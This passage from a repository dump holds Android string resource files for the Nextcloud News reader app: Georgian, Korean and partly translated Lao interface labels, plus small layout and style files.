    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">ავტო სინქ.</string>\n    <string name=\"empty_view_content\">აქ ელემენტები არაა</string>\n    <string name=\"empty_view_content_action\">ჩამოწიეთ განახლებისთვის</string>\n    <string name=\"no_wifi_available\">WiFi არაა დაკავშირებული</string>\n    <string name=\"current_version\">თქვენ სარგებლობთ ვერსიით %s</string>\n    <string name=\"widget_header\">Nextcloud სიახლეები</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">ხელმისაწვდომია %d ახალი ელემენტი</item>\n        <item quantity=\"other\">ხელმისაწვდომია %d ახალი ელემენტი</item>\n    </plurals>\n    <string name=\"message_bar_reload\">გადატვირთვა</string>\n    <string name=\"allUnreadFeeds\">ყველა წაუკითხავი ელემენტი</string>\n    <string name=\"starredFeeds\">ვარსკლავიანი ელემენტები</string>\n    <string name=\"title_activity_new_feed\">სიახლეების ლენტის დამატება</string>\n\n    <string name=\"menu_update\">განახლება</string>\n    <string name=\"menu_markAllAsRead\">ყველას წაკითხულად მონიშვნა</string>\n    <string name=\"menu_StartImageCaching\">სურათების ჩამოტვირთვა</string>\n    <string name=\"menu_downloadMoreItems\">მეტი ელემენტის ჩამოტვირთვა</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">ვარსკვლავმინიჭებული</string>\n    <string name=\"action_read\">წაკითხვა</string>\n    <string name=\"action_playPodacst\">პოდკასტის დაკვრა</string>\n    <string name=\"action_Share\">გაზიარება</string>\n    <string name=\"action_login\">სერვერის პარამეტრები</string>\n    <string name=\"action_save\">შენახვა</string>\n    <string name=\"action_settings\">პარამეტრები</string>\n    <string name=\"action_sync_settings\">სინქ. პარამეტრები</string>\n    <string name=\"action_add_new_feed\">სიახლეების ლენტის დამატება</string>\n    <string name=\"action_textToSpeech\">წაკითხვა</string>\n    <string name=\"action_search\">ძიება</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">გაქვთ %d ახალი წაუკითხავი ელემენტი</item>\n        <item quantity=\"other\">გაქვთ %d ახალი წაუკითხავი ელემენტი</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">ხელმისაწვდომია %d ახალი წაუკითხავი ელემენტი</item>\n        <item quantity=\"other\">ხელმისაწვდომია %d ახალი წაუკითხავი ელემენტი</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">ლენტის მისამართი</string>\n    <string name=\"action_add_feed\">ლენტის დამატება</string>\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">სურათის ჩამოტვირთვა</string>\n    <string name=\"action_img_sharelink\">სურათის ბმულით გაზიარება</string>\n    <string name=\"action_img_open\">სურათის გახსნა ბრაუზერით</string>\n    <string name=\"action_img_copylink\">სურათის ბმულის კოპირება</string>\n    <string name=\"action_link_share\">ბმულის გაზიარება</string>\n    <string name=\"action_link_open\">ბმულის ბრაუზერში გახსნა</string>\n    <string name=\"action_link_copy\">ბმულის კოპირება</string>\n    <string name=\"toast_img_notwriteable\">სურათის ჩაწერა ვერ მოხერხდა.</string>\n    <string name=\"toast_copied_to_clipboard\">კოპირებულია კლიპბორდში</string>\n    <string name=\"error_download_failed\">ჩამოტვირთვა ვერ განხორციელდა</string>\n    <string name=\"intent_title_share\">გაზიარება</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">ლენტის გაუქმება</string>\n    <string name=\"action_feed_rename\">ლენტის სახელის ცვლილება</string>\n    <string name=\"feed_remove_button\">წაშლა</string>\n    <string name=\"feed_rename_button\">გადარქმევა</string>\n    <string name=\"confirm_feed_remove\">ნამდვილად გსურთ ამ ლენტის გაუქმება? ეს ვერ იქნება უკუქცეული.</string>\n    <string name=\"action_folder_rename\">ფოლდერის სახელის გადარქმევა</string>\n    <string name=\"folder_remove_button\">წაშლა</string>\n    <string name=\"folder_rename_button\">სახელის შეცვლა</string>\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">დამატება</string>\n    <string name=\"hint_folder_name\">დირექტორიის სახელი</string>\n    <string name=\"pref_title_username\">მომხმარებლის სახელი</string>\n    <string name=\"pref_title_password\">პაროლი</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloud საწყისი მისამართი</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">შესვლა</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">ეს ველი აუცილებელია</string>\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">ჩამოტვირთულია %d ძველი ელემენტი</item>\n        <item quantity=\"other\">ჩამოტვირთულია %d ძველი ელემენტი</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">მეტი ელემენტი არაა</string>\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">პარამეტრები</string>\n    <string name=\"cache_is_cleared\">კეში გასუფთავდა!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">ზოგადი</string>\n    <string name=\"pref_title_general_sort_order\">განლაგების თანმიმდევრობა</string>\n\n    <string name=\"pref_general_search_in_title\">სათაური</string>\n    <string name=\"dialog_clearing_cache\">კეშის გასუფთავება</string>\n    <string name=\"reset_cache_unsaved_changes\">აღმოჩენილია არასინქრონიზირებული ცვილებები. მაინც გსურთ კეშის საწყის მდგომარეობაში დაბრუნება?</string>\n    <string name=\"warning\">გაფრთხილება</string>\n    <string name=\"pref_title_AutoSyncOnStart\">სინქ. ჩართვისას</string>\n    <string name=\"pref_title_ShowOnlyUnread\">მხოლოდ წაუკითხავი არტიკლების ჩვენება</string>\n    <string name=\"pref_title_DisableHostnameVerification\">ჰოსტის სახელის ვერიფიკაციის გათიშვა</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">აწარმოეთ ნაციგაცია ხმის ღილაკებით</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">წაკითხულად მონიშვნა გადახვევისას</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">მივიღოთ ამოუცნობი სერტიფიკატი?</string>\n    <string name=\"mtm_decision_always\">ყოველთვის</string>\n    <string name=\"mtm_decision_abort\">შეჩერება</string>\n    <string name=\"mtm_notification\">სერტიფიკატის ვერიფიკაცია</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">პოდკასტი არაა არჩეული</string>\n    <string name=\"no_chapters_available\">არც ერთი თავი არაა ხელმისაწვდომი</string>\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">შესახებ</string>\n    <string name=\"pref_license\">ლიცენზია</string>\n    <string name=\"pref_privacy\">კონფიდენციალურობა</string>\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">დისპლეი</string>\n    <string name=\"pref_title_app_theme\">ვიზუალური თემა</string>\n    <string name=\"pref_title_feed_list_layout\">ლენტის სიის მაკეტი</string>\n    <string name=\"pref_display_browser\">ბრაუზერი</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">მოქმედების პიქტოგრამები (დეტალების ხედი)</string>\n\n    <string name=\"pref_display_apptheme_light\">ღია</string>\n    <string name=\"pref_display_apptheme_dark\">მუქი</string>\n\n    <string name=\"pref_display_browser_cct\">ჩაშენებული ქრომის-პერსონალიზირებული-ტაბულები</string>\n    <string name=\"pref_display_browser_built_in\">ჩაშენებული ბრაუზერი</string>\n    <string name=\"pref_display_font_size_d\">საწყისი</string>\n    <string name=\"content_desc_play\">დაკვრა</string>\n    <string name=\"content_desc_pause\">პაუზა</string>\n    <string name=\"content_desc_forward\">წინ</string>\n    <string name=\"content_desc_collapse\">აკეცვა</string>\n    <string name=\"content_desc_mark_as_read\">წაკითხულად მონიშვნა</string>\n    <string name=\"content_desc_mark_as_unread\">წაუკითხავად მონიშვნა</string>\n    <string name=\"content_desc_add_to_favorites\">რჩეულებში დამატება</string>\n    <string name=\"content_desc_remove_from_favorites\">რჩეულებიდან ამოშლა</string>\n    <string name=\"content_desc_delete\">წაშლა</string>\n    <string name=\"content_desc_download\">ჩამოტვირთვა</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">შეცდომა</string>\n    <string name=\"login_dialog_text_something_went_wrong\">რაღაც მოხდა :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">Web News App-მა დააბრუნა ვერსია \\\"0\\\". გთხოვთ იხილოთ შემდეგი შეცდომის რეპორტი: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_title_security_warning\">უსაფრთხოების გაფრთხილება</string>\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">მონაცემები და სინქ.</string>\n    <string name=\"pref_title_clearCache\">კეშის გასუფთავება</string>\n    <string name=\"pref_title_CacheImagesOffline\">სურათების ოფლაინ კეშირება</string>\n    <string name=\"pref_title_Max_Cache_Size\">მაქს. კეშის ზომა</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">არასდროს</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">მხოლოდ WiFi-ზე</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Wi-Fi-ზე და მობილურზე</string>\n    <string name=\"pref_data_sync_image_cache_ask\">შეკითხვა როდესაც არაა კავშირი WiFi-სთან</string>\n\n    <string name=\"array_sync_interval_min_0\">არასდროს</string>\n    <string name=\"array_sync_interval_min_5\">5 წუთი</string>\n    <string name=\"array_sync_interval_min_15\">15 წუთი</string>\n    <string name=\"array_sync_interval_min_30\">30 წუთი</string>\n    <string name=\"array_sync_interval_hour_1\">1 საათი</string>\n    <string name=\"array_sync_interval_hour_3\">3 საათი</string>\n    <string name=\"array_sync_interval_hour_6\">6 საათი</string>\n    <string name=\"array_sync_interval_hour_12\">12 საათი</string>\n    <string name=\"array_sync_interval_hour_24\">24 საათი</string>\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-ko/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">자동 동기화</string>\n    <string name=\"title_activity_sync_interval_selector\">동기화 간격</string>\n    <string name=\"empty_view_content\">항목 없음</string>\n    <string name=\"empty_view_content_action\">끌어 당겨서 새로 고침</string>\n    <string name=\"toast_GettingMoreItems\">더 많은 아이템들을 다운로드 하고 있습니다... 잠시 기다려 주십시오.</string>\n    <string name=\"no_wifi_available\">Wi-Fi에 연결되지 않았음</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Wi-Fi 연결 없이 이미지를 다운로드 하시겠습니까?</string>\n    <string name=\"current_version\">현재 버전 %s을(를) 사용 중입니다.</string>\n    <string name=\"widget_header\">Nextcloud 뉴스</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"other\">새 항목 %d개 있음</item>\n    </plurals>\n    <string name=\"message_bar_reload\">새로 고침</string>\n    <string name=\"allUnreadFeeds\">모든 읽지 않은 항목</string>\n    <string name=\"starredFeeds\">별표한 항목</string>\n    <string name=\"title_activity_new_feed\">새 피드 추가</string>\n\n    <string name=\"menu_update\">새로 고침</string>\n    <string name=\"menu_markAllAsRead\">모두 읽은 것으로 표시</string>\n    <string name=\"menu_StartImageCaching\">사진 다운로드</string>\n    <string name=\"menu_downloadMoreItems\">더 많은 항목 다운로드</string>\n\n    <string name=\"tv_showing_cached_version\">캐시된 버전 표시중</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">별표</string>\n    <string name=\"action_read\">읽기</string>\n    <string name=\"action_playPodacst\">팟캐스트 재생</string>\n    <string name=\"action_openInBrowser\">웹 브라우저에서 열기</string>\n    <string name=\"action_Share\">공유</string>\n    <string name=\"action_login\">서버 설정</string>\n    <string name=\"action_save\">저장</string>\n    <string name=\"action_settings\">설정</string>\n    <string name=\"action_sync_settings\">동기화 설정</string>\n    <string name=\"action_add_new_feed\">새 피드 추가</string>\n    <string name=\"action_textToSpeech\">음성으로 읽기</string>\n    <string name=\"action_search\">검색</string>\n    <string name=\"action_download_articles_offline\">오프라인으로 기사 다운로드</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">오프라인 사용을 위해 기사 다운로드중</string>\n    <string name=\"notification_download_images_offline\">오프라인 사용을 위해 이미지 다운로드중</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"other\">읽지 않은 항목이 %d개 있습니다</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"other\">새 항목이 %d개 있습니다</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">피드 URL</string>\n    <string name=\"action_add_feed\">피드 추가</string>\n    <string name=\"import_opml\">OPML 가져오기</string>\n    <string name=\"export_opml\">OPML 내보내기</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">사진 다운로드</string>\n    <string name=\"action_img_sharelink\">사진 링크 공유</string>\n    <string name=\"action_img_open\">브라우저에서 사진 열기</string>\n    <string name=\"action_img_copylink\">사진 링크 복사</string>\n    <string name=\"action_link_share\">링크 공유</string>\n    <string name=\"action_link_open\">브라우저에서 링크 열기</string>\n    <string name=\"action_link_copy\">링크 복사</string>\n    <string name=\"toast_img_download_wait\">다운로드 중… 잠시만 기다려주세요.</string>\n    <string name=\"toast_img_saved\">이미지 저장됨</string>\n    <string name=\"toast_img_notwriteable\">사진을 기록할 수 없습니다.</string>\n    <string name=\"toast_copied_to_clipboard\">클립보드로 복사됨</string>\n    <string name=\"error_download_failed\">다운로드 실패</string>\n    <string name=\"intent_title_share\">다음으로 공유</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">피드 삭제</string>\n    <string name=\"action_feed_rename\">비드 이름 바꾸기</string>\n    <string name=\"action_feed_move\">피드 이동</string>\n    <string name=\"action_feed_notification_settings\">알림 설정</string>\n    <string name=\"feed_remove_button\">삭제</string>\n    <string name=\"feed_rename_button\">이름 바꾸기</string>\n    <string name=\"confirm_feed_remove\">이 피드를 삭제하시겠습니까? 취소할 수 없습니다!</string>\n    <string name=\"feed_move_list_description\">피드가 이동할 폴더 선택</string>\n    <string name=\"move_feed_root_folder\">루트 폴더</string>\n\n\n    <string name=\"action_folder_rename\">폴더 이름 바꾸기</string>\n    <string name=\"folder_remove_button\">삭제</string>\n    <string name=\"folder_rename_button\">이름 바꾸기</string>\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">이 피드에 대한 유일한 알림 받기</string>\n    <string name=\"notification_feed_default\">기본 설정은 모든 피드당 하나의 알림 노출입니다.</string>\n    <string name=\"notification_feed_none\">알림 없음</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">추가</string>\n    <string name=\"hint_folder_name\">폴더 이름</string>\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">수동 로그인</string>\n    <string name=\"login_sso\">Nextcloud Files App으로 로그인</string>\n    <string name=\"pref_title_username\">사용자 이름</string>\n    <string name=\"pref_title_password\">암호</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloud 루트 주소</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">로그인</string>\n    <string name=\"login_progress_signing_in\">로그인 중…</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">이 항목은 필수 사항입니다</string>\n    <string name=\"error_invalid_url\">잘못된 URL</string>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"other\">오래된 항목 %d개 다운로드됨</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">더 이상 항목 없음</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"other\">항목 %d개 가져옴…</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">설정</string>\n    <string name=\"cache_is_cleared\">캐시를 비웠습니다!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">일반</string>\n    <string name=\"pref_title_general_sort_order\">정렬 순서</string>\n\n    <string name=\"pref_general_sort_order_new_old\">새 항목 -> 오래된 항목</string>\n    <string name=\"pref_general_sort_order_old_new\">오래된 항목 -> 새 항목</string>\n\n    <string name=\"pref_rename_action_swipe_right\">오른쪽으로 밀었을 때의 동작</string>\n    <string name=\"pref_rename_action_swipe_left\">왼쪽으로 밀었을 때의 동작</string>\n\n    <string name=\"pref_title_general_search_in\">검색</string>\n\n    <string name=\"pref_general_search_in_title\">직위</string>\n    <string name=\"pref_general_search_in_body\">몸통</string>\n    <string name=\"pref_general_search_in_both\">둘 다</string>\n\n    <string name=\"dialog_clearing_cache\">캐시 비우는 중</string>\n    <string name=\"dialog_clearing_cache_please_wait\">캐시를 비우고 있습니다… 잠시 기다려 주십시오.</string>\n    <string name=\"reset_cache_unsaved_changes\">동기화되지 않은 변경 사항이 있습니다. 캐시를 비우시겠습니까?</string>\n    <string name=\"warning\">경고</string>\n    <string name=\"pref_title_AutoSyncOnStart\">시작할 때 동기화</string>\n    <string name=\"pref_title_ShowOnlyUnread\">읽지 않은 항목만 보기</string>\n    <string name=\"pref_title_DisableHostnameVerification\">호스트 이름 확인 사용 안함</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">음량 단추로 탐색</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">스크롤 중 읽은 것으로 표시</string>\n    <string name=\"pref_title_ShowFastActions\">빠른 액세스 기능 활성화</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">상세보기를 건너뛰고 기사를 브라우저에서 열기</string>\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">알 수 없는 인증서를 허용하시겠습니까?</string>\n    <string name=\"mtm_decision_always\">항상</string>\n    <string name=\"mtm_decision_abort\">중단</string>\n    <string name=\"mtm_notification\">인증서 확인</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">팟캐스트가 선택되지 않았음</string>\n    <string name=\"no_chapters_available\">사용 가능한 챕터가 없음</string>\n    <string name=\"podcast_playback_speed_dialog_title\">재생 속도</string>\n    <string name=\"notification_downloading_podcast_title\">팟캐스트 다운로드 중</string>\n    <string name=\"dialog_podcast_remove_title\">확실합니까?</string>\n    <string name=\"dialog_podcast_remove_confirm\">삭제</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">정보</string>\n    <string name=\"pref_license\">라이선스</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) version 3</string>\n    <string name=\"pref_report_issue\">문제점 보고</string>\n    <string name=\"pref_report_issue_summary\">GitHub 계정 필수 (무료)</string>\n    <string name=\"pref_contribute\">기여하기!</string>\n    <string name=\"pref_contribute_summary\">소스 코드 얻기</string>\n    <string name=\"pref_privacy\">개인 정보</string>\n    <string name=\"pref_privacy_summary\">Nextcloud News 안드로이드 개인정보 보호정책</string>\n    <string name=\"pref_version\">Nextcloud News 안드로이드앱</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">표시</string>\n    <string name=\"pref_title_app_theme\">테마</string>\n    <string name=\"pref_title_feed_list_layout\">피드 목록 레이아웃</string>\n    <string name=\"pref_title_font_size\">글꼴 크기</string>\n    <string name=\"pref_display_browser\">브라우저</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">동작 아이콘(자세히 보기)</string>\n\n    <string name=\"pref_display_apptheme_auto\">시스템 기본값</string>\n    <string name=\"pref_display_apptheme_light\">밝게</string>\n    <string name=\"pref_display_apptheme_dark\">어둡게</string>\n\n    <string name=\"pref_oled_mode\">검은색 배경</string>\n    <string name=\"pref_oled_mode_summary\">OLED를 위한 어두운 테마</string>\n\n    <string name=\"pref_display_browser_cct\">내장 Chrome 사용자 정의 탭</string>\n    <string name=\"pref_display_browser_built_in\">내장 브라우저</string>\n    <string name=\"pref_display_browser_external\">외부 브라우저</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">썸네일 (헤드라인만 해당)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">썸네일</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">간단한 텍스트</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">헤드라인</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">전문</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">웹 레이아웃</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">카드 보기</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">작게</string>\n    <string name=\"pref_display_font_size_d\">기본값</string>\n    <string name=\"pref_display_font_size_l\">크게</string>\n    <string name=\"pref_display_font_size_xl\">더 크게</string>\n\n    <string name=\"content_desc_play\">재생</string>\n    <string name=\"content_desc_pause\">일시 정지</string>\n    <string name=\"content_desc_playback_speed\">재생 속도</string>\n    <string name=\"content_desc_rewind\">되감기</string>\n    <string name=\"content_desc_forward\">전달</string>\n    <string name=\"content_desc_expand\">확장</string>\n    <string name=\"content_desc_collapse\">접기</string>\n    <string name=\"content_desc_mark_as_read\">읽은 것으로 표시</string>\n    <string name=\"content_desc_mark_as_unread\">읽지 않은 것으로 표시</string>\n    <string name=\"content_desc_tap_to_refresh\">눌러서 새로 고침</string>\n    <string name=\"content_desc_add_to_favorites\">즐겨찾기에 추가</string>\n    <string name=\"content_desc_remove_from_favorites\">즐겨찾기에서 제거</string>\n    <string name=\"content_desc_show_password\">암호 표시</string>\n    <string name=\"content_desc_delete\">삭제</string>\n    <string name=\"content_desc_download\">다운로드</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">오류</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">뉴스 앱이 서버에 설치되거나 활성화되지 않은 것 같습니다. 먼저 서버에 뉴스 앱을 설정하려면 %1$s에 제공된 지침을 따라 주십시오.</string>\n    <string name=\"login_dialog_text_something_went_wrong\">무언가 잘못되었습니다 :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">웹 뉴스 앱에서 버전 \"0\"을 반환했습니다. 다음 버그 보고를 참조하십시오: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">이 앱 버전은 Nextcloud News App과 호환되지 않습니다. 뉴스앱과 앱프레임워크를 업그레이드해주세요.</string>\n    <string name=\"login_dialog_title_security_warning\">보안 경고</string>\n    <string name=\"login_dialog_text_security_warning\">HTTPS를 사용하고 있지 않습니다. 공격자가 트래픽을 가로채어 민감한 정보를 악용할 수 있습니다. (예: 암호)</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">문제가 발생했습니다. 다시 시도하십시오.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">데이터 및 동기화</string>\n    <string name=\"pref_title_clearCache\">캐시 비우기</string>\n    <string name=\"pref_title_CacheImagesOffline\">오프라인 사용을 위하여 사진 저장</string>\n    <string name=\"pref_title_Max_Cache_Size\">최대 캐시 크기</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">하지 않음</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Wi-Fi에서만</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Wi-Fi 및 모바일 데이터</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Wi-Fi에 연결되지 않았을 때 묻기</string>\n\n    <string name=\"array_sync_interval_min_0\">하지 않음</string>\n    <string name=\"array_sync_interval_min_5\">5분</string>\n    <string name=\"array_sync_interval_min_15\">15분</string>\n    <string name=\"array_sync_interval_min_30\">30분</string>\n    <string name=\"array_sync_interval_min_45\">45분</string>\n    <string name=\"array_sync_interval_hour_1\">1시간</string>\n    <string name=\"array_sync_interval_hour_2\">2시간</string>\n    <string name=\"array_sync_interval_hour_3\">3시간</string>\n    <string name=\"array_sync_interval_hour_6\">6시간</string>\n    <string name=\"array_sync_interval_hour_12\">12시간</string>\n    <string name=\"array_sync_interval_hour_24\">24시간</string>\n    <string name=\"switch_account\">계정 전환</string>\n    \n    <string name=\"successfully_exported\">성공적으로 내보낸 위치 :</string>\n    <string name=\"opml_export\">OPML 내보내기</string>\n    <string name=\"parsing_opml\">OPML 구문 분석</string>\n    <string name=\"please_wait\">잠시 기다려주세요...</string>\n    <string name=\"interval_sync_title\">반복적 싱크</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-large/refs.xml",
    "content": "<resources>\n\n    <!--\n    Layout alias to replace the single-pane version of the layout with a\n    two-pane version on Large screens.\n\n    For more on layout aliases, see:\n    http://developer.android.com/training/multiscreen/screensizes.html#TaskUseAliasFilters\n    -->\n    <!-- \n    <item name=\"activity_newsreader_list\" type=\"layout\">@layout/activity_newsreader_twopane</item>\n \t-->\n</resources>"
  },
  {
    "path": "News-Android-App/src/main/res/values-large/styles.xml",
    "content": "<resources>\n\n    <style name=\"LoginFormContainer\">\n        <item name=\"android:layout_width\">400dp</item>\n        <item name=\"android:layout_height\">wrap_content</item>\n        <item name=\"android:layout_gravity\">center</item>\n        <item name=\"android:padding\">16dp</item>\n    </style>\n\n</resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-ldrtl/isrighttoleft.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n    <bool name=\"is_right_to_left\">true</bool>\n</resources>"
  },
  {
    "path": "News-Android-App/src/main/res/values-lo/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Auto sync</string>\n    <string name=\"title_activity_sync_interval_selector\">Sync Interval</string>\n    <string name=\"empty_view_content\">No items here</string>\n    <string name=\"empty_view_content_action\">ດຶງລົງເພື່ອເຮັດໃຫ້ໃໝ່</string>\n    <string name=\"toast_GettingMoreItems\">Download of more items started. Please wait …</string>\n    <string name=\"no_wifi_available\">No WiFi connected</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Do you want to download the images without a Wi-Fi connection?</string>\n    <string name=\"current_version\">You\\'re using Version %s</string>\n    <string name=\"widget_header\">Nextcloud News</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"other\">%d new items available</item>\n    </plurals>\n    <string name=\"message_bar_reload\">ໂຫຼດຄຶນ</string>\n    <string name=\"allUnreadFeeds\">All unread items</string>\n    <string name=\"starredFeeds\">Starred items</string>\n    <string name=\"downloadedPodcasts\">Downloaded podcasts</string>\n    <string name=\"title_activity_new_feed\">Add new feed</string>\n\n    <string name=\"menu_update\">Refresh</string>\n    <string name=\"menu_markAllAsRead\">Mark all as read</string>\n    <string name=\"menu_StartImageCaching\">Download images</string>\n    <string name=\"menu_downloadMoreItems\">Download more items</string>\n\n    <string name=\"tv_showing_cached_version\">Showing cached version</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Starred</string>\n    <string name=\"action_read\">ອ່ານ</string>\n    <string name=\"action_playPodacst\">Play Podcast</string>\n    <string name=\"action_removePodcast\">Remove Podcast Media</string>\n    <string name=\"action_openInBrowser\">Open in Web browser</string>\n    <string name=\"action_Share\">ແບ່ງປັນ</string>\n    <string name=\"action_login\">Server Settings</string>\n    <string name=\"action_save\">ບັນທຶກ</string>\n    <string name=\"action_settings\">ການຕັ້ງຄ່າ</string>\n    <string name=\"action_sync_settings\">Sync Settings</string>\n    <string name=\"action_add_new_feed\">Add new feed</string>\n    <string name=\"action_add_new_folder\">Add new folder</string>\n    <string name=\"action_textToSpeech\">Read out</string>\n    <string name=\"action_search\">ຄົ້ນຫາ</string>\n    <string name=\"action_download_articles_offline\">Download articles offline</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Downloading articles for offline usage</string>\n    <string name=\"notification_download_images_offline\">Downloading images for offline usage</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"other\">You have %d new unread items</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"other\">%d new unread items available</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Feed URL</string>\n    <string name=\"action_add_feed\">Add feed</string>\n    <string name=\"import_opml\">Import OPML</string>\n    <string name=\"export_opml\">Export OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Download Image</string>\n    <string name=\"action_img_sharelink\">Share Image Link</string>\n    <string name=\"action_img_open\">Open Image in Browser</string>\n    <string name=\"action_img_copylink\">Copy Image Link</string>\n    <string name=\"action_link_share\">Share Link</string>\n    <string name=\"action_link_open\">Open Link in Browser</string>\n    <string name=\"action_link_copy\">Copy Link</string>\n    <string name=\"toast_img_download_wait\">Downloading. Please wait …</string>\n    <string name=\"toast_img_saved\">Image saved</string>\n    <string name=\"toast_img_notwriteable\">Failed to write Image.</string>\n    <string name=\"toast_copied_to_clipboard\">ສໍາເນົາຄລິບ</string>\n    <string name=\"error_download_failed\">ດາວໂຫຼດບໍ່ສຳເລັດ</string>\n    <string name=\"intent_title_share\">Share via</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Remove Feed</string>\n    <string name=\"action_feed_rename\">Rename Feed</string>\n    <string name=\"action_feed_move\">Move 